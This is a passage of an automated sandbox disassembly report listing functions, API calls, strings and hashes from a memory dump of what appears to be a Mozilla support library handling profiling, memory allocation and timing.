AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F585
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F5A3

Strings

KpT{/, xrefs: 6C91F07C, 6C91F1BA, 6C91F32A, 6C91F41A
[I %d/%d] profiler_resume_sampling, xrefs: 6C91F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C91F56A
[I %d/%d] profiler_resume, xrefs: 6C91F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C91F3A8

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: KpT{/$[D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2488460804
Opcode ID: 16a3888f42c1395471996e66bf54a8e8b7277b6abbb74b597a2dc8f839725328
Instruction ID: 02a18ab273b2ffbc9d994d7d59628b62b29a706140ed946f9fbc6f0fa6fa010b
Opcode Fuzzy Hash: 16a3888f42c1395471996e66bf54a8e8b7277b6abbb74b597a2dc8f839725328
Instruction Fuzzy Hash: F9D1E47570C3089FDB00DF68D4097AA77B8AB5637CFA4461AE95983F81DB70D809C7A2

Function 6C8E64C0 Relevance: 54.7, APIs: 24, Strings: 7, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C8E64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C8E64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C8E6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C8E6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C8E652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C8E671C
GetCurrentProcess.KERNEL32 ref: 6C8E6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C8E672F
GetCurrentProcess.KERNEL32 ref: 6C8E6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C8E6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C8E6A80
GetSystemInfo.KERNEL32(?), ref: 6C8E6ABE
__Init_thread_footer.LIBCMT ref: 6C8E6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8E6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8E6AF7

Strings

KpT{/, xrefs: 6C8E64D0
_etoured.dll, xrefs: 6C8E64ED
nvdxgiwrap.dll, xrefs: 6C8E6513
user32.dll, xrefs: 6C8E6526
detoured.dll, xrefs: 6C8E64DA
nvd3d9wrap.dll, xrefs: 6C8E6500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C8E6798

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: KpT{/$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2102746865
Opcode ID: 897d64e95c7fc91cf3f1f81e5cc3416e49e21c2673a2073b31ba8d97666c4679
Instruction ID: db5355b793fb27f8a4d0a9459ba2c5e189723d6e43adda5ba3de86ec6b9b60c8
Opcode Fuzzy Hash: 897d64e95c7fc91cf3f1f81e5cc3416e49e21c2673a2073b31ba8d97666c4679
Instruction Fuzzy Hash: 9FF1E370E0522D9FDB30DF24CE48B9AB7B5AF4A318F1446E9D919A3641D731AE84CF90

Function 6C91E2F0 Relevance: 33.7, APIs: 13, Strings: 6, Instructions: 466threadCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,?,6C91E2A6), ref: 6C91E35E
?_Xbad_function_call@std@@YAXXZ.MSVCP140(?,?,6C91E2A6), ref: 6C91E386
GetCurrentThreadId.KERNEL32 ref: 6C91E3E4
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91E3F1
memset.VCRUNTIME140(?,00000000,?), ref: 6C91E4AB
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91E4F5
GetCurrentThreadId.KERNEL32 ref: 6C91E577
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91E584
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C91E8A6

Part of subcall function 6C8DB7A0: ?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C8DB7CF
Part of subcall function 6C8DB7A0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C8DB808

Part of subcall function 6C92B800: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,00000000,6C950FB6,00000000,?,?,6C91E69E), ref: 6C92B830

memset.VCRUNTIME140(?,00000000,00000000), ref: 6C91E6DA

Part of subcall function 6C92B8B0: memset.VCRUNTIME140(00000000,00000000,00000000,80000000), ref: 6C92B916
Part of subcall function 6C92B8B0: free.MOZGLUE(00000000,?,?,80000000), ref: 6C92B94A

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C91E864
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C91E883

Strings

KpT{/, xrefs: 6C91E2FB, 6C91E399, 6C91E55C
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C91E722, 6C91E750, 6C91E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C91E5A1, 6C91E5CC, 6C91E5FF, 6C91E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C91E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C91E826, 6C91E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C91E655

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLockfree$memset$AcquireCurrentReleaseThreadXbad_function_call@std@@$?vprint@PrintfTarget@mozilla@@__stdio_common_vsprintfmemcpy
String ID: KpT{/$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 2698983630-3382627488
Opcode ID: 1d47511eaf5982b1bfa608024cdc2c8b6f5ca1ac27911c86c59a082e96a809b2
Instruction ID: 9aae6d074e03d606b7fba92468335c27bc6f869d370908ec6ffdf5cb14430f50
Opcode Fuzzy Hash: 1d47511eaf5982b1bfa608024cdc2c8b6f5ca1ac27911c86c59a082e96a809b2
Instruction Fuzzy Hash: 70028A75A083099FCB10CF28C489A6ABBF5FF89318F54496CE89A97F40D730E955CB91

Function 6C8FED10 Relevance: 30.9, APIs: 16, Strings: 1, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C8FEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C8FEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C901695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9016B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C901770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C901A3E

Strings

KpT{/, xrefs: 6C8FED25

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: KpT{/
API String ID: 3693777188-2391877073
Opcode ID: 87d99777b00ca12819e4761c8acb23410e1abba7c073ac9c6086642e816ba1fe
Instruction ID: d5f94b8813bff19165d1cf78bfbde2f65681a93f05405758504dd161ecd5f621
Opcode Fuzzy Hash: 87d99777b00ca12819e4761c8acb23410e1abba7c073ac9c6086642e816ba1fe
Instruction Fuzzy Hash: FEB31A71E0421ACFDB24CFA8C890AADB7B2BF49304F1581ADD559AB745D730AD86CF90

Function 6C8E7810 Relevance: 19.9, APIs: 12, Strings: 1, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C95E744), ref: 6C8E7885
LeaveCriticalSection.KERNEL32(6C95E744), ref: 6C8E78A5
EnterCriticalSection.KERNEL32(6C95E784), ref: 6C8E78AD
LeaveCriticalSection.KERNEL32(6C95E784), ref: 6C8E78CD
EnterCriticalSection.KERNEL32(6C95E7DC), ref: 6C8E78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C8E78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C8E795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C8E79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C8E7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C8E7C82
LeaveCriticalSection.KERNEL32(6C95E7DC), ref: 6C8E7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C8E7DAF

Strings

KpT{/, xrefs: 6C8E781C

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: KpT{/
API String ID: 759993129-2391877073
Opcode ID: 0c4aa3c6a14ab8705299a6319ddb4cdab26db3ca5967720987d90dd39165d7fa
Instruction ID: af04c5ec08a1080cf680de58a80e39a0843fc236f2fecfe822835e2034145c3e
Opcode Fuzzy Hash: 0c4aa3c6a14ab8705299a6319ddb4cdab26db3ca5967720987d90dd39165d7fa
Instruction Fuzzy Hash: DF028131A0521A8FDB64CF18C984799B7B5FF89318F6586AAD809A7701D734FE90CF80

Function 6C917E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

KpT{/, xrefs: 6C917E24
schema, xrefs: 6C9181E3, 6C918311
data, xrefs: 6C918280, 6C9183E1
(pre-xul), xrefs: 6C917E88
name, xrefs: 6C917ECF, 6C918335

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$KpT{/$data$name$schema
API String ID: 3412268980-1657374908
Opcode ID: fc224631a7c14a215e2989f4d4616fd104719e398b67d9f32a278b30c8d29bf9
Instruction ID: 1c5f17f096d33bc3e55bb6567411e45662a871ff35bf42efffa09e192106bb60
Opcode Fuzzy Hash: fc224631a7c14a215e2989f4d4616fd104719e398b67d9f32a278b30c8d29bf9
Instruction Fuzzy Hash: 33E17FB2A043458BC710CF68C84165BFBE9BF89318F558E2DE895D7790DB70ED098B91

Function 6C8FD4D0 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C95E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C90D1C5), ref: 6C8FD4F2
LeaveCriticalSection.KERNEL32(6C95E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C90D1C5), ref: 6C8FD50B

Part of subcall function 6C8DCFE0: EnterCriticalSection.KERNEL32(6C95E784), ref: 6C8DCFF6
Part of subcall function 6C8DCFE0: LeaveCriticalSection.KERNEL32(6C95E784), ref: 6C8DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C90D1C5), ref: 6C8FD52E
EnterCriticalSection.KERNEL32(6C95E7DC), ref: 6C8FD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C8FD6A6
LeaveCriticalSection.KERNEL32(6C95E7DC), ref: 6C8FD712
LeaveCriticalSection.KERNEL32(6C95E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C90D1C5), ref: 6C8FD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C8FD7EA

Strings

KpT{/, xrefs: 6C8FC0F9, 6C8FD4E2
: (malloc) Error initializing arena, xrefs: 6C8FD82C
<jemalloc>, xrefs: 6C8FD827

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>$KpT{/
API String ID: 2690322072-377388256
Opcode ID: 054e356b0cbc166de8d575dd6f4e578f87eb3a0684c721121735ad1436eeff88
Instruction ID: 39c74dfd1af0fdcf74725e9f94c1989179b6ef1b10f1db3d94a096a614ac4049
Opcode Fuzzy Hash: 054e356b0cbc166de8d575dd6f4e578f87eb3a0684c721121735ad1436eeff88
Instruction Fuzzy Hash: 9191C471A087058FD724CF28C29072AB7E1EB8A754F644D2FD66AC7B81D735E845CB82

Function 6C8D3480 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C8D3284,?,?,6C8F56F6), ref: 6C8D3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C8D3284,?,?,6C8F56F6), ref: 6C8D34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C8D3284,?,?,6C8F56F6), ref: 6C8D34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C8D350E
__Init_thread_footer.LIBCMT ref: 6C8D3522
__aulldiv.LIBCMT ref: 6C8D3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C8D3284,?,?,6C8F56F6), ref: 6C8D357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C8D3284,?,?,6C8F56F6), ref: 6C8D3592

Part of subcall function 6C90AB89: EnterCriticalSection.KERNEL32(6C95E370,?,?,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284), ref: 6C90AB94
Part of subcall function 6C90AB89: LeaveCriticalSection.KERNEL32(6C95E370,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284,?,?,6C8F56F6), ref: 6C90ABD1

Strings

KpT{/, xrefs: 6C8D3488
GetSystemTimePreciseAsFileTime, xrefs: 6C8D3508
kernel32.dll, xrefs: 6C8D34EA

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$KpT{/$kernel32.dll
API String ID: 3634367004-2514221642
Opcode ID: 1fc00f12a63188787517db579bf4c7dfcea327b311a599b0576aa5ff6765d793
Instruction ID: 826b3db84d966d405b6c4be6f4060deaf738534ac8c1083c6c1a27e6163899ed
Opcode Fuzzy Hash: 1fc00f12a63188787517db579bf4c7dfcea327b311a599b0576aa5ff6765d793
Instruction Fuzzy Hash: 9131E271B052099BDF14DFB9C948AAE73B9FB46318FA10419E501E3690DB31ED04CBA0

Function 6C935FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C936009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C936024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C8DEE51,?), ref: 6C936046
OutputDebugStringA.KERNEL32(?,6C8DEE51,?), ref: 6C936061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C936069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C936073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C936082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C95148E), ref: 6C936091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C8DEE51,00000000,?), ref: 6C9360BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9360C4

Strings

KpT{/, xrefs: 6C935FFF

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: KpT{/
API String ID: 3835517998-2391877073
Opcode ID: 597942860b0f895b6a658c1a8079842d0b1d03effdcab0aa9c1a859523934997
Instruction ID: fa1daf052107e834ef4939dd0691950a3367a67736568ee54dff168d70b46452
Opcode Fuzzy Hash: 597942860b0f895b6a658c1a8079842d0b1d03effdcab0aa9c1a859523934997
Instruction Fuzzy Hash: 9E21B571A002189FDF206F25DC09AAE7BB8FF45218F508428E85AD7241CB75E559CFD1

Function 6C934EA0 Relevance: 17.9, APIs: 8, Strings: 2, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C934EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C934F2E
moz_xmalloc.MOZGLUE ref: 6C934F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C934F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9352B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9352E6
Sleep.KERNEL32(00000010), ref: 6C935481
free.MOZGLUE(?), ref: 6C935498

Strings

KpT{/, xrefs: 6C934EAF
(, xrefs: 6C935250

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: ($KpT{/
API String ID: 4104871533-3048226153
Opcode ID: 0cd26d51252ba2d5fa9866aed2ced2e9d745587f476e4a619f155f70bb9b3002
Instruction ID: 336babb6d11abd5b243fb2b3d926c313693fa3f41e438ddaa5f7532d1d7f1481
Opcode Fuzzy Hash: 0cd26d51252ba2d5fa9866aed2ced2e9d745587f476e4a619f155f70bb9b3002
Instruction Fuzzy Hash: ACF1E371A18B008FC716DF39C85062BB7F9AFD6298F55872EF84AA7650DB31D442CB81

Function 6C915190 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 331timeCOMMON

Download Yara Rule

APIs

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C9151DF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C91529C
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,00000000), ref: 6C9152FF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C91536D
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C9153F7

Part of subcall function 6C90AB89: EnterCriticalSection.KERNEL32(6C95E370,?,?,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284), ref: 6C90AB94
Part of subcall function 6C90AB89: LeaveCriticalSection.KERNEL32(6C95E370,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284,?,?,6C8F56F6), ref: 6C90ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_RECORD_OVERHEADS), ref: 6C9156C3
__Init_thread_footer.LIBCMT ref: 6C9156E0

Strings

KpT{/, xrefs: 6C9151A1
MOZ_PROFILER_RECORD_OVERHEADS, xrefs: 6C9156BE

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: BaseDurationPlatformSeconds@TimeUtils@mozilla@@$CriticalSection$EnterInit_thread_footerLeavegetenv
String ID: KpT{/$MOZ_PROFILER_RECORD_OVERHEADS
API String ID: 1227157289-2821022893
Opcode ID: 93376c5510b8891b715bf56f32f44999424a5e16eb9cd10adbc4bc7a10c1ed8d
Instruction ID: 5fa9e4fbb090080c7e5de940e6868fec57eec84484d42d898307cda57eab131a
Opcode Fuzzy Hash: 93376c5510b8891b715bf56f32f44999424a5e16eb9cd10adbc4bc7a10c1ed8d
Instruction Fuzzy Hash: A2E19276918F49CAC713DF35C451267B7BABF9B388F11DB0EE8AA2A950DF30D0468641

Function 6C937030 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C937046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C937060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C93707E

Part of subcall function 6C8E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C8E81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C937096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C93709C
LocalFree.KERNEL32(?), ref: 6C9370AA

Strings

KpT{/, xrefs: 6C93703C
### ERROR: %s: %s, xrefs: 6C937087
(null), xrefs: 6C93706A, 6C937083

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)$KpT{/
API String ID: 2989430195-2124755168
Opcode ID: 97cd242257975b6863000aeb9b514049d839985af4d992456e6278de9b0fad58
Instruction ID: 3a8a4c4befa7915bc33cceb2395b74aafb69f5fe9552717fa12ccfc5cfaad57f
Opcode Fuzzy Hash: 97cd242257975b6863000aeb9b514049d839985af4d992456e6278de9b0fad58
Instruction Fuzzy Hash: 4E01B9B1B04104AFDB04AB74DC4ADAF7BBCEF49254F550439FA05A3241D671A9188BE1

